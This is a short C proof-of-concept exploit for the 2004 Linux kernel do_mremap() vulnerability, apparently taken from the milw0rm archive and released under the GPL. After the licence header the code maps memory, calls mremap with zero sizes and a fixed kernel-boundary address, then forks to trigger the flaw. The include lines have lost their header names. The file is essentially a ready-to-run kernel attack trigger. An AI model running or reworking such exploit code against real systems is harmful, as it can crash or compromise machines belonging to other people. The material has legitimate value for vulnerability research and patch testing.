/* * Proof-of-concept exploit code for do_mremap() * * Copyright (C) 2004 Christophe Devine and Julien Tinnes * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define __NR_real_mremap __NR_mremap static inline _syscall5( void *, real_mremap, void *, old_address, size_t, old_size, size_t, new_size, unsigned long, flags, void *, new_address ); int main( void ) { void *base; base = mmap( NULL, 8192, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 ); real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED, (void *) 0xC0000000 ); fork(); return( 0 ); } // milw0rm.com [2004-01-06]

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